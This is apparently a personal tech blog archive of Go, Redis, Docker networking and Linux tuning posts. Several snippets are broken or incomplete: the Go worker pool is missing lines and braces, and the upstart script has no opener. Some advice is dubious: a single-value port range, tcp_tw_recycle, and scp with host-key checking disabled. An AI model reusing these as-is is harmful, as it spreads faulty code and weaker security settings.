( If you just want the library, head on over to Github https://github.com/joshrendek/redis-rate-limiter )

Design goals:

  • Prevent deadlocks
  • Hard limit on concurrency (dont accidentally creep over)
  • Keep it simple to use
  • Use redis
  • Keep the design similar to sync.WaitGroup by using Add() and Done()

Initially I started off using INCR/DECR with WATCH. This somewhat worked but was causing the bucket to over-flow and go above the limit I defined.

Eventually I found the SETNX command and decided using a global lock with that around adding was the way to go.

So the final design goes through this flow for Add():

  1. Use SETNX to check if a key exists; loop until it doesn’t error (aka the lock is available for acquiring)
  2. Immediately add an expiration to the lock key once acquired so we don’t deadlock
  3. Check the current number of workers running; wait until it is below the max rate
  4. Generate a uuid for the worker lock, use this to SET a key and also add to a worker set
  5. Set an expiration on the worker lock key based on uuid so the worker doesn’t deadlock
  6. Unlock the global lock from SETNX by deleting the key
  7. Clean old, potentially locked workers

Removing is much simpler with Done():

  1. Delete the worker lock key
  2. Remove the worker lock from the worker set

For (1) we want to make sure we don’t hammer Redis or the CPU - so we make sure we can pass an option for a sleep duration while busy-waiting.

(2) Prevents the global lock from stalling out if a worker is cancelled in the middle of a lock acquisition.

Waiting for workers in (3) is done by making sure the cardinanality ( SCARD ) of the worker set is less than the worker limit. We loop and wait until this count goes down so we don’t exceed our limit.

(4) and (5) uses a UUID library to generate a unique id for the worker lock name/value. This gets added via SADD to the wait group worker set and also set as a key as well. We set a key with a TTL based on the UUID so we can remove it from the set via another method if it no longer exists.

(6) frees the global lock allowing other processes to acquire it while they wait in (1).

To clear old locks in (7) we need to take the members in the worker set and then query with EXISTS to see if the key still exists. If it doesn’t exist but it is still in the set, we know something bad happened. At this point we need to remove it from the worker set so that the slot frees up. This will prevent worker deadlocks from happening if it fails to reach the Done() function.

The Add() function returns a UUID string that you then pass to Done(uuid) to remove the worker locks. I think this was the simplest approach for doing this however if you have other ideas let me know!

That’s it! We now have a distributed wait group written in go as a library. You can see the source and how to use it over at https://github.com/joshrendek/redis-rate-limiter.

You’ve raised your file descriptor limits, updated security limits, tweaked your network settings and done everything else in preperation to launch your shiny new dockerized application.

Then you have performance issues and you can’t understand why, it looks to be network related. Alright! Let’s see what’s going on:

ping google.com
unknown host google.com

Maybe its DNS related…. Let’s try again:

ping: sendmsg: Operation not permitted

That’s odd, maybe it’s a networking issue outside of our servers. Lets try pinging another host on the subnet:

ping: sendmsg: Operation not permitted

That’s even more odd, our other host isn’t having network issues at all. Lets try going the other way:

ping # the bad host
# Lots of packet loss

We’re getting a lot of packet loss going from Host B to Host A (the problem machine). Maybe it’s a bad NIC?

Just for fun I decided to try and ping localhost/

ping: sendmsg: Operation not permitted

That’s a new one. What the heck is going on? Now at this point I derped out and didn’t think to check dmesg. Lets assume you went down the road I went and derped.

What’s the different between host A and B? Well, host B doesn’t have docker installed!

apt-get remove docker-engine; reboot

# .... wait for reboot

# working
# working
ping google.com
# working
apt-get install docker-engine
ping: sendmsg: Operation not permitted

ping: sendmsg: Operation not permitted

Okay so it happens when docker is installed. We’ve isolated it. Kernel bug maybe? Queue swapping around kernels and still the same issue happens.

Fun side note: Ubuntu 14.04 has a kernel bug that prevents booting into LVM or software raided grub. Launchpad Bug

Switching back to the normal kernel (3.13) that comes with 14.04, we proceed. Docker bug? Hit up #docker on Freenode. Someone mentions checking dmesg and conntrack information.

Lo-and-behold, dmesg has tons of these:

ip_conntrack: table full, dropping packet
# x1000

How does docker networking work? NAT! That mean’s iptables needs to keep track of all your connections, hence the full message.

If you google the original message you’ll see a lot of people telling you to check your iptables rules and ACCEPT/INPUT chains to make sure there isn’t anything funky in there. If we combine this knowledge + the dmesg errors, we now know what to fix.

Lets update sysctl.conf and reboot for good measure ( you could also apply them with sysctl -p but I wanted to make sure everything was fresh. )

net.ipv4.netfilter.ip_conntrack_tcp_timeout_established = 54000
net.netfilter.nf_conntrack_generic_timeout = 120
net.netfilter.nf_conntrack_max = 556000

Adjust the conntrack max until you hit a stable count (556k worked well for me) and don’t get anymore connection errors. Start your shiny new docker application that makes tons of network connections and everything should be good now.

Hope this helps someone in the future, as Google really didn’t have a lot of useful information on this message + Docker.

Influx Alert

Oct 12, 2015 - 2 minutes

I’ve been very happy using InfluxDB with Grafana + StatsD but always wanted a nice way to alert on some of the data being fed into statsd/grafana so I wrote a little tool in Go to accomplish that:

Github: https://github.com/joshrendek/influx-alert

I hope someone finds this useful! It’s got a few simple functions/comparisons done already and support for HipChat and Slack notifications.


Influx Alert

This is a tool to alert on data that is fed into InfluxDB (for example, via statsd) so you can get alerted on it.

How to get it

Go to releases, or download the latest here: v0.1

How to Use

  • name: the name of the alert ( will be used in notifier )
  • interval: how often to check influxdb (in seconds)
  • timeshift: how far back to go (query is like: where time > now() - TIMESHIFT
  • limit: the max number of results to return
  • type: influxdb (the only option for now)
  • function: min/max/average are the only supported functions for now
  • query: the influxdb query to run (omit any limit or where clause on the time)
  • trigger: the type of trigger and value that would trigger it
    • operator: gt/lt
    • value: value to compare against (note all values are floats internally)
  • notifiers: an array of notifiers, possible options are slack and hipchat

Example: ( see example.yml for more )

- name: Not Enough Foo
  type: influxdb
  function: average
  timeshift: 1h
  limit: 10
  interval: 10
  query: select * from "foo.counter"
      - slack
      - hipchat
      - foobar
    operator: lt
    value: 10

Environment Variables

  * INFLUX_PORT (8086 is default)
  * HIPCHAT_SERVER (optional)
  * DEBUG (optional)

Supported Notifiers

Supported Backends

  • InfluxDB v0.9

I was setting up the ELK stack and had quite a fun time trying to get upstart to log to syslog WITH a log tag ( aka: my-application ) so it could be filtered inside Kibana.

Here is a working example for STDOUT and STDERR:

respawn limit 15 5

start on runlevel [2345]
stop on runlevel [06]

setuid app-user
setgid app-user

  # Redirect stdout to syslog
  mkfifo /tmp/app-stdout-fifo
  ( logger -p user.info -t your-app-tag </tmp/app-stdout-fifo & )
  exec 1>/tmp/app-stdout-fifo
  rm /tmp/app-stdout-fifo

  # Redirect stderr to syslog
  mkfifo /tmp/app-stderr-fifo
  ( logger -p user.err  -t your-app-tag </tmp/app-stderr-fifo & )
  exec 2>/tmp/app-stderr-fifo
  rm /tmp/app-stderr-fifo

  exec ./your-app-binary
end script

Hope this helps someone else, there as a lot of mis-leading and broken examples on Google & StackOverflow.

Golang Performance Tips

Sep 20, 2015 - 5 minutes

Below is some advice and notes that I wish I had when writing Go to deal with high amounts of requests (20k+/second). Have any extra tips? Leave them in the comments!

Kernel Tuning

Step 1 is making sure your host OS isn’t going to keel over when you start making thousands of requests/second or hammering the CPU.

Update /etc/sysctl.conf to have these lines:

net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_tw_recycle = 1
net.ipv4.ip_local_port_range = 50000

ip_local_port_range - at the default of 30,000 and not modifying the tw_reuse and tw_recycle properties, we’re effectively limited to 500 connections/second to a server. If this is still not enough you can configure additional IP’s on the server and cycle between them.

tcp_tw_reuse will re-use an existing connection that is in TIME-WAIT for outgoing connections.

tcp_tw_recycle enables sockets to be recycled faster once they reach the TIME-WAIT state for both incoming and outgoing connections. Make sure you’re not running anything through a NAT or this can cause problems with connections.

Vinent Bernat has a great explanation with state diagrams on his blog.

Next up are file descriptors. I prefer defining these in the init or upstart scripts, so you would call ulimit -n 102400 and then call your go binary in the upstart script that way it is set before running. (Note: this will only work if the user has been properly given permissions to up their limit in /etc/security/limits.d.

Upstart also provides a mechanism to set file limits in the job stanza.

Golang Tuning

Utilizing all CPUs ( < Go 1.5 )

You can use all the go-routines in the world and not use all your CPU cores and threads. In order to let your go program utilize all operating-system level threads, we need to tell the go runtime about them:


This is no longer necessary as of Go 1.5 and is done automatically.

Finish what you start

Make sure you call .Close() on your responses, and make sure you read the entire body. The documentation for net/http/response explicitly says that “it is the caller’s responsibility to close Body” and that “neither ReadResponse nor Response.Write ever closes a connection.” net/http/response.go

Don’t be intimidated

You want to do things fast! But your confused by all the options for concurrency in go. Channels? Goroutines? Libraries to manage them? Stick with a simple worker pattern for best results. I’ve found many libraries that claim to manage concurrency for you (limiting running routines, or providing some interface to queueing jobs) fall short, break, or not utilize all CPU cores.

Here is a simple worker pattern that uses nothing but the standard library:

tasks := make(chan someDataStruct, 40)
var wg sync.WaitGroup

for i := 0; i < 40; i++ {
	go func() {
		for data := range tasks {
			// do some work on data

// Push to it like this:
tasks <- someData

// Finish like this

First, we make a channel containing someDataStruct as the type to be sent/received over it. We give it a buffer size of 40. Since we only have 40 routines spinning up, no more than 40 can be worked on at once.

When a caller is trying to push data to this channel and all slots are full, it will block until a slot is free, so keep this in mind and change accordingly if you need to.

Next we make a WaitGroup which will wait for all of our goroutines to finish. When we loop 40 times and say wg.Add(1) we’re telling the WaitGroup that we’re expecting 40 goroutines, and to wait for them to finish.

Next we iterate over data coming in our tasks channel and do some process on it (this is obviously where your program specific logic or function calls go).

When no more data is available on the channel we call wg.Done() which tells the WaitGroup a routine has finished.

Pushing data is simple by passing an instance of someDataStruct into the tasks channel.

Almost done! We now want to wait for everything to finish before our program exits. close(tasks) marks the channel as closed - and any other callers who try and send to it will get a nice fat error message.

Finally wg.Wait() says to wait until all 40 wg.Done()’s have been called.


One of my favorite things about go is that its fast, real fast. Make sure you test, test, and test some more! Always make sure you fail gracefully (if a HTTP connection failed and you need to re-process a job, for instance) and push jobs back onto their queues when a failure is detected. If you have an unexpected race condition or other errors (run out of file descriptors, etc) go will very quickly churn through your job queue.

But what about…

There are lots of other considerations, like what you’re running this against. On small elasticsearch clusters using these patterns to send data from go daemons to ES, I’ve been able to hit 50k requests/second with still plenty of room to grow.

You may need to pay extra attention to what libraries your using: how many redis connections can you have open? How many do you need?

Are you using keep-alive connections for HTTP? Is your receiver setup properly (nginx configs, etc)?

Is your MySQL or PostgreSQL server tuned to allow this many connections? Make sure you use connection pooling!

Lastly: Monitor all the things!

Send your data somewhere. I prefer StatsD, InfluxDB and Grafana for my monitoring stack. There is a ready-to-use go library quipo/statsd that I haven’t had issues with. One important thing to do is throw any data sends into a goroutine otherwise you might notice a slowdown while it tries to send the data.

Whether you use Grafana or anything else, its important to monitor. Without metrics on how your systems are running (ops/s, latency, etc) you have no insight into whether or not new changes have affected the overall throughput of your system.

Have any extra tips? Leave them in the comments below!

Using a custom HTTP Dialer in Go

Sep 19, 2015 - 2 minutes

Let’s make a function to generate an HTTP client for us using a custom dialer:

 1 var DefaultDialer = &net.Dialer{}
 3 func GetHttpClient() http.Client {
 4 	tr := &http.Transport{
 5 		Dial:                DefaultDialer.Dial,
 6 	}
 8 	client := http.Client{Transport: tr}
 9 	return client
10 }

Can you spot the bug?

By omitting the Timeout, KeepAlive timeouts in the first example, we’ve introduced a very subtle bug.

There is also another bug if you don’t handle TLS timeouts as well.

net/Dialer has some documentation on this.

Without providing a KeepAlive and a Timeout value, you could end up with connections that hang indefinitely. By omitting the TLS handshake timeout, the daemon would also hang trying to re-negotiate the SSL connection.

In my case this was causing a very random and hard to reproduce issue where the program would hang indefinitely.

Some good debugging tips are using strace to see what syscall its stuck in, and if your daemon is running in the foreground, using a SIGQUIT signal.

Here is a working version:

 1 var DefaultDialer = &net.Dialer{Timeout: 2 * time.Second, KeepAlive: 2 * time.Second}
 3 func GetHttpClient() http.Client {
 4 	tr := &http.Transport{
 5 		Dial:                DefaultDialer.Dial,
 6 		TLSHandshakeTimeout: 2 * time.Second,
 7 }
 9 	client := http.Client{Transport: tr}
10 	return client
11 }

Faster docker builds using a cache

Jun 17, 2015 - 1 minutes

If you’re using bundler for your ruby or rails project and docker you will run into docker having to install your gems everytime. You can either make a base image that has the bundle cache already on it, or you can make a small cache step in your Dockerfile.

Here I’ve setup a cache user and host to store the cache tar. It will attempt to download and untar it, run bundle, then attempt to tar and re-upload it.

RUN scp -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no [email protected]:~/project.tar.gz . || true
RUN tar xzf project.tar.gz || true
RUN bundle install --deployment --without development test
RUN tar czf project.tar.gz vendor
RUN scp -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no project.tar.gz [email protected]:~/ || true

Doing this cut build times for my image from a few minutes to a few seconds. If you have any other tricks for speeding up builds, let me know!